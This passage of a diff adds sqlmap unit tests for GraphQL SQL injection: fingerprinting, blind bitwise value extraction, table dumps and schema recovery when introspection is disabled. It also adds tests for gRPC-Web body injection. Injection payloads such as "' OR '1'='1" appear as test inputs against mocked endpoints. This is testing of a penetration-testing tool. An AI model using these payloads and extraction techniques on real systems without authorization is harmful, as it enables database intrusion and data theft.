"SQLite": ("SQLITE_VERSION()",), + "Microsoft SQL Server": ("@@VERSION",), + "PostgreSQL": ("version()",), + "MySQL": ("@@VERSION_COMMENT", "@@VERSION"), + } + # @@VERSION exists on both MSSQL and MySQL; the distinguishing factor is the + # '%Microsoft%' banner match, which only an actual Microsoft server satisfies. + vendorTokens = ("SQLITE_VERSION()", "@@VERSION_COMMENT", "@@VERSION", "version()") + owned = knows[dbms] + + def truth(cond): + # Any vendor token the predicate names must be implemented by this back-end, + # else the probe errors out (falsy). + for token in vendorTokens: + if token in cond and token not in owned: + # @@VERSION is shared; let the banner clause below decide instead. + if token == "@@VERSION" and "@@VERSION_COMMENT" not in cond: + continue + return False + if not any(token in cond for token in vendorTokens): + return False + # @@VERSION LIKE '%Microsoft%' is only true on a real Microsoft server. + if "@@VERSION" in cond and "Microsoft" in cond: + return dbms == "Microsoft SQL Server" + # version() LIKE 'PostgreSQL%' is only true on a real PostgreSQL server. + if "version()" in cond and "PostgreSQL" in cond: + return dbms == "PostgreSQL" + return True + + return truth + + +class TestGraphqlFingerprint(unittest.TestCase): + """DBMS fingerprinting drives off the universal truth() predicate""" + + def test_identifies_sqlite(self): + # A SQLite-modelled oracle answers only SQLite's own probe; _fingerprint must + # discriminate to land on SQLite rather than echo the asserted constant. + self.assertEqual(gi._fingerprint(_dbmsTruth("SQLite")), "SQLite") + + def test_identifies_mysql(self): + self.assertEqual(gi._fingerprint(_dbmsTruth("MySQL")), "MySQL") + + def test_identifies_mssql(self): + # @@VERSION is shared with MySQL; only the '%Microsoft%' banner match resolves it. + self.assertEqual(gi._fingerprint(_dbmsTruth("Microsoft SQL Server")), + "Microsoft SQL Server") + + def test_identifies_postgresql(self): + self.assertEqual(gi._fingerprint(_dbmsTruth("PostgreSQL")), "PostgreSQL") + + def test_unknown_backend(self): + self.assertIsNone(gi._fingerprint(lambda cond: False)) + + +def _mockOracle(target): + """A synthetic SQLite-like dialect plus truth/truthBatch closures that answer comparison and bit + predicates against a known `target` string - lets the blind extractors be exercised without HTTP.""" + + dialect = gi.Dialect( + fingerprint="FP", delay=None, banner=None, currentUser=None, currentDb=None, + tableFrom=None, tableCol=None, columnFrom=None, columnCol=None, paginate=None, + length=lambda expr: "LEN(%s)" % expr, + ordinal=lambda expr, pos: "ORD(%s,%d)" % (expr, pos), + row=None, fromIdent=lambda table: table) + + def _value(cond): + pos = None + if cond.startswith("LEN("): + value = len(target) + else: # ORD(,) + pos = int(cond[cond.index(",") + 1:cond.rindex(")")]) + value = ord(target[pos - 1]) if pos - 1 < len(target) else 0 + return value + + def truth(cond): + tail = cond[cond.rindex(")") + 1:] # e.g. ">=65" + op = re.match(r"(>=|>|=)", tail).group(1) + num = int(tail[len(op):]) + value = _value(cond) + return {">": value > num, ">=": value >= num, "=": value == num}[op] + + def truthBatch(conditions): + results = [] + for cond in conditions: + bit = re.match(r"\(ORD\(.*?,(\d+)\) & (\d+)\)>0$", cond) + if bit: + pos, mask = int(bit.group(1)), int(bit.group(2)) + value = ord(target[pos - 1]) if pos - 1 < len(target) else 0 + results.append((value & mask) > 0) + else: + results.append(truth(cond)) + return results + + return dialect, truth, truthBatch + + +class TestGraphqlInference(unittest.TestCase): + """Blind value recovery: sequential bisection and bit-parallel batched extraction""" + + def test_sequential_extraction(self): + for target in ("3.45.1", "users,creds", "db3a16990a0008a3b04707fdef6584a0", ""): + dialect, truth, _ = _mockOracle(target) + self.assertEqual(gi._inferExpr(truth, dialect, "EXPR"), target) + + def test_batched_extraction_matches_sequential(self): + for target in ("3.45.1", "users,creds", "luther~~~blisset^^^fluffy~~~bunny"): + dialect, truth, truthBatch = _mockOracle(target) + self.assertEqual(gi._inferExprBatched(truthBatch, truth, dialect, "EXPR"), target) + + def test_batched_empty(self): + dialect, truth, truthBatch = _mockOracle("") + self.assertEqual(gi._inferExprBatched(truthBatch, truth, dialect, "EXPR"), "") + + def test_inconclusive_truth_aborts_value_not_fabricates(self): + # a persistently-inconclusive oracle must abort the value (None), never coerce to false bits + dialect = gi.DIALECTS["SQLite"] + + def truth(cond): + raise gi.InconclusiveError() + + def truthBatch(conds): + raise gi.InconclusiveError() + + self.assertIsNone(gi._inferExpr(truth, dialect, "EXPR")) + self.assertIsNone(gi._inferExprBatched(truthBatch, truth, dialect, "EXPR")) + + def test_make_oracle_batch_transport_failure_raises_not_false(self): + # a FAILED batch request must raise InconclusiveError, NOT decay into a list of False bits + # (which would silently corrupt every value extracted through the batch path) + slot = _slot("query", "Query", "user", "username", "string") + MATCHV = '{"data":{"user":{"id":1,"name":"luther"}}}' + NOMATCHV = '{"data":{"user":null}}' + saved = gi._gqlSend + try: + def fakeSend(endpoint, query, variables=None): + if "1=1" in query: + return MATCHV, 200 + if "1=2" in query: + return NOMATCHV, 200 + return MATCHV, 200 + gi._gqlSend = fakeSend + truth, truthBatch = gi._makeOracle(slot, "http://test/graphql") + self.assertIsNotNone(truth) + + # now make the batch endpoint fail transport -> must raise, not return [False, ...] + gi._gqlSend = lambda endpoint, query, variables=None: (None, 0) + self.assertRaises(gi.InconclusiveError, truthBatch, ["1=1", "1=2"]) + finally: + gi._gqlSend = saved + + +class TestGraphqlDumpTable(unittest.TestCase): + """Whole-table dump: column list + COUNT(*) + one row-scalar per ordinal offset""" + + def test_dump_table(self): + d = gi.DIALECTS["SQLite"] + colFrom = d.columnFrom("users") + responses = { + # columns are enumerated by ordinal position (COUNT + per-index), like rows + "(SELECT COUNT(*) %s)" % colFrom: "2", + "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 0)): "id", + "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 1)): "name", + "(SELECT COUNT(*) FROM %s)" % d.fromIdent("users"): "2", + d.row(["id", "name"], "users", 0): "1~~~null", + d.row(["id", "name"], "users", 1): "2~~~luther", + } + + def infer(expr, maxLen=gi.MAX_LENGTH): + return responses.get(expr) + + columns, rows = gi._dumpTable(infer, d, "users") + self.assertEqual(columns, ["id", "name"]) + self.assertEqual(rows, [["1", "null"], ["2", "luther"]]) + + +class TestGraphqlMakeOracle(unittest.TestCase): + """Universal truth()/truthBatch() primitive built from a slot's true/false contrast""" + + USER_OBJ = {"id": 1, "name": "luther", "surname": "blisset"} + + def setUp(self): + self._gql = gi._gqlSend + + def fakeSend(endpoint, query, variables=None): + if "a0:" in query: # batched, aliased request + data = {} + for m in re.finditer(r'(a\d+):\w+\(\w+:"[^"]*\((1=1|1=2)\)', query): + data[m.group(1)] = self.USER_OBJ if m.group(2) == "1=1" else None + return json.dumps({"data": data}), 200 + if "(1=1)" in query: + return json.dumps({"data": {"user": self.USER_OBJ}}), 200 + return json.dumps({"data": {"user": None}}), 200 + + gi._gqlSend = fakeSend + + def tearDown(self): + gi._gqlSend = self._gql + + def test_truth_primitive(self): + slot = _slot("query", "Query", "user", "username", "string") + truth, truthBatch = gi._makeOracle(slot, "http://test/graphql") + self.assertIsNotNone(truth) + self.assertTrue(truth("1=1")) + self.assertFalse(truth("1=2")) + + def test_batched_truth(self): + slot = _slot("query", "Query", "user", "username", "string") + _, truthBatch = gi._makeOracle(slot, "http://test/graphql") + self.assertEqual(truthBatch(["1=1", "1=2", "1=1"]), [True, False, True]) + + +class TestVulnserverGraphqlParser(unittest.TestCase): + """The vulnserver's selection parser must survive aliased batches and bracketed payloads""" + + def setUp(self): + from extra.vulnserver import vulnserver + self.vs = vulnserver + + def test_match_skips_quoted_brackets(self): + text = 'user(username:"x\' OR (1=1)-- "){ id }' + end = self.vs._graphql_match(text, text.index("(")) + self.assertEqual(text[end - 1], ")") # the args close-paren, not one inside the string + + def test_single_field(self): + sels = self.vs._graphql_selections('user(username:"luther"){ id name }') + self.assertEqual(sels, [(None, "user", 'username:"luther"')]) + + def test_aliased_batch_with_payloads(self): + body = 'a0:user(username:"x\' OR (1=1)-- "){ id } a1:user(username:"x\' OR (1=2)-- "){ id }' + sels = self.vs._graphql_selections(body) + self.assertEqual([(a, f) for a, f, _ in sels], [("a0", "user"), ("a1", "user")]) + self.assertIn("(1=1)", sels[0][2]) + self.assertIn("(1=2)", sels[1][2]) + + def test_nested_selection_set(self): + sels = self.vs._graphql_selections('login(username:"a", password:"b"){ token user { id name } }') + self.assertEqual(len(sels), 1) + self.assertEqual(sels[0][1], "login") + + +class TestGraphqlMutationPlanner(unittest.TestCase): + """Mutation slots are auto-tested (read-like ranked first), impact-classified, dry-run preferred.""" + + def test_impact_classification(self): + self.assertEqual(gi._mutationImpact("login"), "read-like") + self.assertEqual(gi._mutationImpact("verifyToken"), "read-like") + self.assertEqual(gi._mutationImpact("createUser"), "write-like") + self.assertEqual(gi._mutationImpact("deletePost"), "write-like") + self.assertEqual(gi._mutationImpact("frobnicate"), "unknown") + + def test_mixed_names_are_write_like_not_read_like(self): + # a read-like substring must NOT mask a write token in the same (camelCase/snake) name + for name in ("updateUserPreview", "previewDeleteUser", "getAndDeleteUser", "createSession", + "validateAndRemoveUser", "preview_delete_user", "get-and-delete-user"): + self.assertEqual(gi._mutationImpact(name), "write-like", name) + # genuine read-like names stay read-like + for name in ("login", "verifyToken", "previewReport", "checkSession", "fetchToken"): + self.assertEqual(gi._mutationImpact(name), "read-like", name) + + def test_ranking_puts_read_like_first_write_like_last(self): + slots = [_slot("mutation", "Mutation", "deleteUser", "id"), + _slot("mutation", "Mutation", "frobnicate", "x"), + _slot("mutation", "Mutation", "login", "username")] + ranked = [s.fieldName for s in gi._rankMutations(slots)] + self.assertEqual(ranked[0], "login") # read-like first + self.assertEqual(ranked[-1], "deleteUser") # write-like last + + def test_write_like_mutation_not_auto_enumerated(self): + # a write-like mutation is NOT eligible as the bulk-enumeration oracle (non-persistence + # unverified), whereas a read-like one is. This is the gate graphqlScan applies. + createSlot = _slot("mutation", "Mutation", "createUser", "name") + loginSlot = _slot("mutation", "Mutation", "login", "username") + self.assertFalse(gi._mutationImpact("createUser") == "read-like" or gi._dryRunVerified(createSlot, "http://x")) + self.assertTrue(gi._mutationImpact("login") == "read-like" or gi._dryRunVerified(loginSlot, "http://x")) + self.assertFalse(gi._dryRunVerified(createSlot, "http://x")) # no automatic non-persistence proof + + def test_mutation_oracle_is_never_batched(self): + # a mutation must NOT return truthBatch: aliased batching executes the write resolver once per + # alias (many writes per request). A boolean-diverging mutation slot yields (truth, None). + MATCHV = '{"data":{"createUser":{"id":1,"name":"luther"}}}' + NOMATCHV = '{"data":{"createUser":null}}' + saved = gi._gqlSend + try: + gi._gqlSend = lambda endpoint, query, variables=None: (MATCHV if "1=1" in query else NOMATCHV, 200) + slot = _slot("mutation", "Mutation", "createUser", "name", "string") + truth, truthBatch = gi._makeOracle(slot, "http://test/graphql") + self.assertIsNotNone(truth) + self.assertIsNone(truthBatch) # batching disabled for mutations + finally: + gi._gqlSend = saved + + def test_dryrun_flag_forced_true_even_when_optional(self): + # an optional Boolean 'dryRun' sibling is normally omitted; for a mutation probe it is forced + # true so the write does not commit + allArgs = [ + ("name", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ("dryRun", {"kind": "SCALAR", "name": "Boolean"}, None), + ] + slot = gi.Slot("mutation", "Mutation", "createUser", allArgs, "name", "string", + "OBJECT", "User", "{ id }") + q = gi._buildQuery(slot, "x") + self.assertIn("dryRun:true", q) + + +class TestGraphqlSiblingDefaults(unittest.TestCase): + """Required sibling arguments must use their real type, not be hardcoded as strings""" + + def test_numeric_sibling_not_quoted(self): + """field(name: String!, limit: Int!) -- injecting 'name' renders limit:0, not limit:\"0\"""" + allArgs = [ + ("name", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ("limit", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}, None), + ] + slot = gi.Slot("query", "Query", "search", allArgs, "name", "string", + "OBJECT", "User", "{ id }") + q = gi._buildQuery(slot, "' OR '1'='1") + self.assertIn("limit:0", q) + self.assertNotIn('limit:"0"', q) + + def test_boolean_sibling_uses_native_syntax(self): + """field(name: String!, active: Boolean!) -- a required Boolean renders as the native `false` + literal, NOT the quoted string "x" (which would make the whole query fail to parse)""" + allArgs = [ + ("name", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ("active", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Boolean", "ofType": None}}, None), + ] + slot = gi.Slot("query", "Query", "toggle", allArgs, "name", "string", + "OBJECT", "User", "{ id }") + q = gi._buildQuery(slot, "test") + self.assertIn('active:false', q) + self.assertNotIn('active:"x"', q) + + def test_optional_sibling_is_omitted(self): + """field(name: String!, verbose: Boolean) -- an OPTIONAL sibling with no default is omitted, + not filled with a bogus sentinel that would invalidate the query""" + allArgs = [ + ("name", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ("verbose", {"kind": "SCALAR", "name": "Boolean"}, None), + ] + slot = gi.Slot("query", "Query", "toggle", allArgs, "name", "string", + "OBJECT", "User", "{ id }") + q = gi._buildQuery(slot, "test") + self.assertNotIn("verbose", q) + + +class TestGraphqlScalarReturnSelection(unittest.TestCase): + """Scalar and list-of-scalar returns must not get a spurious {__typename} selection""" + + def test_scalar_return_has_no_selection(self): + """version(format: String): String -- no sub-selection""" + allArgs = [ + ("format", {"kind": "SCALAR", "name": "String"}, None), + ] + slot = gi.Slot("query", "Query", "version", allArgs, "format", "string", + "SCALAR", "String", None) + q = gi._buildQuery(slot, "json") + self.assertIn('version(format:"json")', q) + self.assertNotIn("{", q.split(")")[1] if ")" in q else q) + + def test_list_of_scalars_has_no_selection(self): + """tags(prefix: String): [String] -- no sub-selection""" + allArgs = [ + ("prefix", {"kind": "SCALAR", "name": "String"}, None), + ] + slot = gi.Slot("query", "Query", "tags", allArgs, "prefix", "string", + "SCALAR", "String", None) + q = gi._buildQuery(slot, "a") + self.assertIn('tags(prefix:"a")', q) + self.assertNotIn("{", q.split(")")[1] if ")" in q else q) + + +class TestGraphqlUnicodeSafety(unittest.TestCase): + """All string conversions must be safe under Python 2 and 3 for non-ASCII data""" + + def test_escape_graphql_string_unicode(self): + escaped = gi._escapeGraphQLString(u"caf\xe9") + self.assertIn("caf", escaped) + + def test_error_text_unicode(self): + page = u'{"errors":[{"message":"caf\xe9","extensions":{"code":"SYNTAX_ERROR"}}]}' + text = gi._errorText(page) + self.assertIn("caf", text) + + def test_cell_unicode(self): + self.assertIn("caf", gi._cell(u"caf\xe9")) + + +class TestGraphqlSuggestionRecovery(unittest.TestCase): + """G1: schema recovery from 'Did you mean' suggestions when introspection is disabled.""" + + def setUp(self): + self._gql = gi._gqlSend + + def tearDown(self): + gi._gqlSend = self._gql + + def test_harvest_suggestions_both_quote_styles(self): + # graphql-js uses double quotes; some servers use single quotes + Oxford 'or' + self.assertEqual( + gi._harvestSuggestions('Cannot query field "x" on type "Query". Did you mean "user" or "search"?'), + ["user", "search"]) + self.assertEqual( + gi._harvestSuggestions("Cannot query field 'x' on type 'Query'. Did you mean 'user', 'me', or 'node'?"), + ["user", "me", "node"]) + self.assertEqual(gi._harvestSuggestions("no suggestion here"), []) + + def test_suggest_fields_from_validation_errors(self): + # An unknown field elicits the closest real field names (graphql-js phrasing) + def fake(endpoint, query, variables=None): + if "{ user }" in query or "{user}" in query: + return '{"data":{"user":null}}', 200 # 'user' is a real (resolving) field + return ('{"errors":[{"message":"Cannot query field \\"%s\\" on type \\"Query\\". ' + 'Did you mean \\"user\\", \\"search\\" or \\"login\\"?"}]}' + % "zz", 200) + gi._gqlSend = fake + fields = gi._suggestFields("http://t/graphql", "query") + for expected in ("user", "search", "login"): + self.assertIn(expected, fields) + + def test_suggest_args_from_unknown_argument(self): + def fake(endpoint, query, variables=None): + return ('{"errors":[{"message":"Unknown argument \\"zz\\" on field \\"Query.user\\". ' + 'Did you mean \\"username\\"?"}]}', 200) + gi._gqlSend = fake + self.assertIn("username", gi._suggestArgs("http://t/graphql", "query", "user")) + + def test_introspect_via_suggestions_builds_slots(self): + def fake(endpoint, query, variables=None): + # introspection-style queries already filtered upstream; here every unknown field + # yields the same suggestion set, and 'search' resolves as a real field + if "{ search }" in query or "{search}" in query: + return '{"data":{"search":[]}}', 200 + if "Unknown argument" in query: # never matches; args fall back to wordlist + return '{}', 200 + return ('{"errors":[{"message":"Cannot query field \\"zz\\" on type \\"Query\\". ' + 'Did you mean \\"search\\"?"}]}', 200) + gi._gqlSend = fake + slots = gi._introspectViaSuggestions("http://t/graphql") + self.assertIsNotNone(slots) + self.assertTrue(any(s.fieldName == "search" for s in slots)) + self.assertTrue(all(s.strategy == "string" for s in slots)) + + def test_introspect_via_suggestions_none_without_suggestions(self): + def fake(endpoint, query, variables=None): + return '{"errors":[{"message":"Syntax Error: unexpected token"}]}', 200 + gi._gqlSend = fake + self.assertIsNone(gi._introspectViaSuggestions("http://t/graphql")) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_grpcweb.py b/tests/test_grpcweb.py new file mode 100644 index 00000000000..7c0534103f6 --- /dev/null +++ b/tests/test_grpcweb.py @@ -0,0 +1,268 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +gRPC-Web body support (lib/utils/grpcweb.py, grpc-web-text/unary). Covers the peer-review merge gate: +exact round-trip, injection with length recomputation, strict framing validation (truncation / length +mismatch / trailing bytes / compression / bad varint / field 0), repeated-field distinct injection +points, response decoding incl. trailers-only-via-headers and response-Content-Type gating, and the +side-effect-free probe that lets a declined prompt send the original body. +""" + +import base64 +import json +import os +import struct +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.data import conf +from lib.core.data import kb +from lib.utils import grpcweb + +TEXT_CT = [("Content-Type", "application/grpc-web-text")] + + +def _grpcBody(fields): + return base64.b64encode(grpcweb._frame(grpcweb._encode(fields))).decode("ascii") + + +class TestCodec(unittest.TestCase): + def test_wire_roundtrip_exact(self): + inner = grpcweb._encode([[1, 2, b"deep"], [2, 0, 7]]) + msg = grpcweb._encode([[1, 2, b"alice"], [2, 0, 10], [3, 2, inner], [4, 5, b"\x01\x02\x03\x04"]]) + self.assertEqual(grpcweb._encode(grpcweb._decode(msg)), msg) + + def test_varint_boundaries(self): + for n in (0, 1, 127, 128, 300, 16384, 2 ** 31, 2 ** 63): + self.assertEqual(grpcweb._readVarint(grpcweb._writeVarint(n), 0)[0], n) + + def test_overlong_varint_rejected(self): + self.assertRaises(ValueError, grpcweb._readVarint, b"\x80" * 11, 0) + + def test_field_zero_rejected(self): + self.assertRaises(ValueError, grpcweb._decode, b"\x02\x01a") # tag 0x02 -> field 0, wire 2 + + def test_truncated_field_rejected(self): + self.assertRaises(ValueError, grpcweb._decode, b"\x0a\x05abc") # declares 5, has 3 + + def test_unframe_strict(self): + good = grpcweb._frame(b"\x08\x01") + self.assertEqual(grpcweb._unframe(good), b"\x08\x01") + self.assertRaises(ValueError, grpcweb._unframe, good[:4]) # truncated header + self.assertRaises(ValueError, grpcweb._unframe, good + b"\x00") # trailing bytes + self.assertRaises(ValueError, grpcweb._unframe, good[:-1]) # declared > available + self.assertRaises(ValueError, grpcweb._unframe, b"\x01" + good[1:]) # compressed flag + + +class TestTranscode(unittest.TestCase): + def setUp(self): + self._h, self._g = conf.httpHeaders, kb.get("grpcWeb") + conf.httpHeaders = list(TEXT_CT) + kb.grpcWeb = None + + def tearDown(self): + conf.httpHeaders, kb.grpcWeb = self._h, self._g + + def test_decode_is_side_effect_free(self): + # probe must NOT touch kb.grpcWeb (that is what lets a declined prompt restore the original) + view, skeleton = grpcweb.decodeBody(_grpcBody([[1, 2, b"alice"], [2, 0, 10]])) + self.assertEqual(json.loads(view), {"f1": "alice"}) + self.assertIsNotNone(skeleton) + self.assertIsNone(kb.grpcWeb) + + def test_exact_roundtrip_no_injection(self): + body = _grpcBody([[1, 2, b"alice"], [2, 0, 10]]) + view, skeleton = grpcweb.decodeBody(body) + kb.grpcWeb = skeleton + self.assertEqual(grpcweb.encodeBody(view), body) # merge-gate #11: encodeBody(decodeBody(x)) == x + + def test_injection_reencodes_with_correct_length(self): + view, skeleton = grpcweb.decodeBody(_grpcBody([[1, 2, b"alice"], [2, 0, 10]])) + kb.grpcWeb = skeleton + wire = grpcweb.encodeBody(json.dumps({"f1": "alice' OR '1'='1"})) + fields = grpcweb._decode(grpcweb._unframe(base64.b64decode(wire))) + self.assertEqual(bytes(fields[0][2]).decode(), "alice' OR '1'='1") + self.assertEqual(fields[1][2], 10) # non-string field preserved + + def test_repeated_fields_distinct_points(self): + view, _ = grpcweb.decodeBody(_grpcBody([[3, 2, b"first"], [3, 2, b"second"]])) + self.assertEqual(json.loads(view), {"f3_0": "first", "f3_1": "second"}) + + def test_parseable_strings_are_offered(self): + # ordinary strings that ALSO happen to parse as protobuf wire data must NOT be silently dropped + # ("A12345678" -> fixed64 tag, "M1234" -> fixed32 tag); descriptorless can't tell, so offer them + view, _ = grpcweb.decodeBody(_grpcBody([[1, 2, b"A12345678"], [2, 2, b"M1234"]])) + self.assertEqual(json.loads(view), {"f1": "A12345678", "f2": "M1234"}) + + def test_non_grpc_and_binary_not_detected(self): + conf.httpHeaders = [("Content-Type", "application/json")] + self.assertEqual(grpcweb.decodeBody('{"a":"b"}'), (None, None)) + conf.httpHeaders = [("Content-Type", "application/grpc-web+proto")] # binary: deliberately out of scope + self.assertEqual(grpcweb.decodeBody(_grpcBody([[1, 2, b"x"]])), (None, None)) + + def test_encode_guards_bad_surrogate(self): + _, skeleton = grpcweb.decodeBody(_grpcBody([[1, 2, b"alice"]])) + kb.grpcWeb = skeleton + self.assertEqual(grpcweb.encodeBody("[1,2,3]"), "[1,2,3]") # JSON scalar/array -> unchanged + self.assertEqual(grpcweb.encodeBody("not json"), "not json") + + +class TestResponse(unittest.TestCase): + def setUp(self): + self._g = kb.get("grpcWeb") + kb.grpcWeb = {"fields": [], "map": {}} # any truthy skeleton enables response decoding + + def tearDown(self): + kb.grpcWeb = self._g + + def _resp(self, frames, ct="application/grpc-web-text", extra=None): + page = base64.b64encode(b"".join(frames)).decode("ascii") if frames else "" + headers = {"Content-Type": ct} + if extra: + headers.update(extra) + return grpcweb.decodeResponse(page, headers) + + def test_message_and_trailer_rendered(self): + msg = grpcweb._frame(grpcweb._encode([[1, 0, 3], [2, 2, b"luther"]])) + trailer = b"\x80" + struct.pack(">I", len(b"grpc-status:0")) + b"grpc-status:0" + decoded = self._resp([msg, trailer]) + self.assertIn("3", decoded) + self.assertIn("luther", decoded) + self.assertIn("grpc-status:0", decoded) + + def test_backend_error_in_trailer(self): + tmsg = b"grpc-status:13\r\ngrpc-message:SQLite%20error%3A%20near%20syntax" + decoded = self._resp([b"\x80" + struct.pack(">I", len(tmsg)) + tmsg]) + self.assertIn("SQLite error: near syntax", decoded) # unquoted -> matchable by errors.xml + + def test_trailers_only_via_headers(self): + # empty body, status/message carried in response HEADERS (protocol-allowed trailers-only) + decoded = grpcweb.decodeResponse("", {"Content-Type": "application/grpc-web-text", + "grpc-status": "13", "grpc-message": "boom%20here"}) + self.assertIn("grpc-status:13", decoded) + self.assertIn("boom here", decoded) + + def test_response_content_type_gating(self): + # a non-grpc-web response (e.g. an HTML error page) must be left untouched + page = base64.b64encode(grpcweb._frame(b"\x08\x01")).decode("ascii") + self.assertEqual(grpcweb.decodeResponse(page, {"Content-Type": "text/html"}), page) + + def test_compressed_response_frame_falls_back(self): + page = base64.b64encode(b"\x01" + struct.pack(">I", 2) + b"\x08\x01").decode("ascii") + self.assertEqual(grpcweb.decodeResponse(page, {"Content-Type": "application/grpc-web-text"}), page) + + +class TestReviewRound2(unittest.TestCase): + """The three second-round blockers + smaller hardening.""" + + def setUp(self): + self._h, self._g = conf.httpHeaders, kb.get("grpcWeb") + conf.httpHeaders = list(TEXT_CT) + kb.grpcWeb = None + + def tearDown(self): + conf.httpHeaders, kb.grpcWeb = self._h, self._g + + def test_unrelated_json_body_not_converted(self): + # blocker #1: an unrelated JSON body on the shared request path must pass through untouched + _, skeleton = grpcweb.decodeBody(_grpcBody([[1, 2, b"alice"]])) + kb.grpcWeb = skeleton + self.assertEqual(grpcweb.encodeBody('{"foo":"bar"}'), '{"foo":"bar"}') # different keys + self.assertEqual(grpcweb.encodeBody('{"f1":"x","extra":"y"}'), '{"f1":"x","extra":"y"}') # superset + # but the genuine surrogate (exact keys) IS transformed + self.assertNotEqual(grpcweb.encodeBody('{"f1":"x"}'), '{"f1":"x"}') + + def test_streaming_response_rejected(self): + kb.grpcWeb = {"fields": [], "map": {}} + two = grpcweb._frame(grpcweb._encode([[1, 2, b"a"]])) + grpcweb._frame(grpcweb._encode([[1, 2, b"b"]])) + page = base64.b64encode(two).decode("ascii") + self.assertEqual(grpcweb.decodeResponse(page, {"Content-Type": TEXT_CT[0][1]}), page) # falls back, no corruption + + def test_reserved_frame_flags_rejected(self): + # request: reserved flag byte -> not a valid gRPC-Web frame -> not detected + bad = b"\x02" + struct.pack(">I", 3) + grpcweb._encode([[1, 2, b"x"]]) + self.assertRaises(ValueError, grpcweb._unframe, bad) + # response: 0x82 (trailer + reserved bit) rejected -> fall back + kb.grpcWeb = {"fields": [], "map": {}} + page = base64.b64encode(b"\x82" + struct.pack(">I", 3) + b"a=0").decode("ascii") + self.assertEqual(grpcweb.decodeResponse(page, {"Content-Type": TEXT_CT[0][1]}), page) + + def test_strict_base64(self): + self.assertRaises(ValueError, grpcweb._b64decode, "!!!!") # invalid chars + self.assertRaises(ValueError, grpcweb._b64decode, "AAA") # bad length + self.assertRaises(ValueError, grpcweb._b64decode, "AAAA=BCD") # stray mid-quantum pad + # independently-padded chunks ARE accepted (reconstruct the concatenation) - a unary text + # response may legitimately be flushed as separate padded base64 segments + a, b = b"hello", b"world!!" + chunks = base64.b64encode(a).decode("ascii") + base64.b64encode(b).decode("ascii") + self.assertEqual(grpcweb._b64decode(chunks), a + b) + + def test_strict_media_type(self): + conf.httpHeaders = [("Content-Type", "application/grpc-web-textual")] # not the real type + self.assertEqual(grpcweb.decodeBody(_grpcBody([[1, 2, b"x"]])), (None, None)) + conf.httpHeaders = [("Content-Type", "application/grpc-web-text; charset=utf-8")] # params OK + view, _ = grpcweb.decodeBody(_grpcBody([[1, 2, b"x"]])) + self.assertIsNotNone(view) + + def test_header_status_preserved_on_body_failure(self): + kb.grpcWeb = {"fields": [], "map": {}} + raw = b"\x00" + struct.pack(">I", 5) + b"ab" # declares 5, has 2 -> body parse fails + page = base64.b64encode(raw).decode("ascii") + decoded = grpcweb.decodeResponse(page, {"Content-Type": TEXT_CT[0][1], "grpc-status": "13"}) + self.assertIn("grpc-status:13", decoded) # header status not lost + self.assertIn(page, decoded) # raw page still available to the oracle + + def test_varint_and_field_number_bounds(self): + self.assertRaises(ValueError, grpcweb._readVarint, b"\xff" * 9 + b"\x02", 0) # > 64 bits + # field number above the protobuf max (2**29 - 1) + big = grpcweb._writeVarint(((0x1fffffff + 1) << 3) | 2) + b"\x01a" + self.assertRaises(ValueError, grpcweb._decode, big) + + +class TestReviewRound3(unittest.TestCase): + """Media-type +proto acceptance, Accept negotiation helper, unsupported-CT body preservation.""" + + def setUp(self): + self._h, self._g = conf.httpHeaders, kb.get("grpcWeb") + kb.grpcWeb = None + + def tearDown(self): + conf.httpHeaders, kb.grpcWeb = self._h, self._g + + def test_proto_media_type_accepted(self): + for ct in ("application/grpc-web-text+proto", "application/grpc-web-text+proto; charset=utf-8"): + conf.httpHeaders = [("Content-Type", ct)] + view, _ = grpcweb.decodeBody(_grpcBody([[1, 2, b"alice"]])) + self.assertEqual(json.loads(view), {"f1": "alice"}, "CT %r not accepted" % ct) + + def test_accepts_text_content_type_helper(self): + self.assertFalse(grpcweb.acceptsTextContentType("*/*")) + self.assertFalse(grpcweb.acceptsTextContentType("application/json")) + self.assertTrue(grpcweb.acceptsTextContentType("application/grpc-web-text")) + self.assertTrue(grpcweb.acceptsTextContentType("application/json, application/grpc-web-text+proto")) + + def test_unsupported_response_ct_preserves_body_and_status(self): + kb.grpcWeb = {"fields": [], "map": {}} + page = base64.b64encode(grpcweb._frame(b"\x08\x01")).decode("ascii") + decoded = grpcweb.decodeResponse(page, {"Content-Type": "text/html", "grpc-status": "2"}) + self.assertIn("grpc-status:2", decoded) # header status kept + self.assertIn(page, decoded) # body not dropped + # and with no status, an unsupported-CT body is returned unchanged + self.assertEqual(grpcweb.decodeResponse(page, {"Content-Type": "text/html"}), page) + + def test_proto_response_ct_decoded(self): + kb.grpcWeb = {"fields": [], "map": {}} + msg = grpcweb._frame(grpcweb._encode([[2, 2, b"luther"]])) + page = base64.b64encode(msg).decode("ascii") + self.assertIn("luther", grpcweb.decodeResponse(page, {"Content-Type": "application/grpc-web-text+proto"})) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_gui_helpers.py b/tests/test_gui_helpers.py new file mode 100644 index 00000000000..bc8fc37b3d8 --- /dev/null +++ b/tests/test_gui_helpers.py @@ -0,0 +1,118 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Parser-introspection helpers in lib/utils/gui.py. The GUI itself needs a live +display (Tk), so it is excluded from the smoke test and never imported there; +these module-level helpers, however, are pure and work on argparse/optparse +parser+option objects. We exercise BOTH backends (argparse natively, optparse +via a lightweight stand-in) so the compatibility branches are walked. Importing +the module also covers its (otherwise-uncovered) top-level definitions. +""" + +import argparse +import os 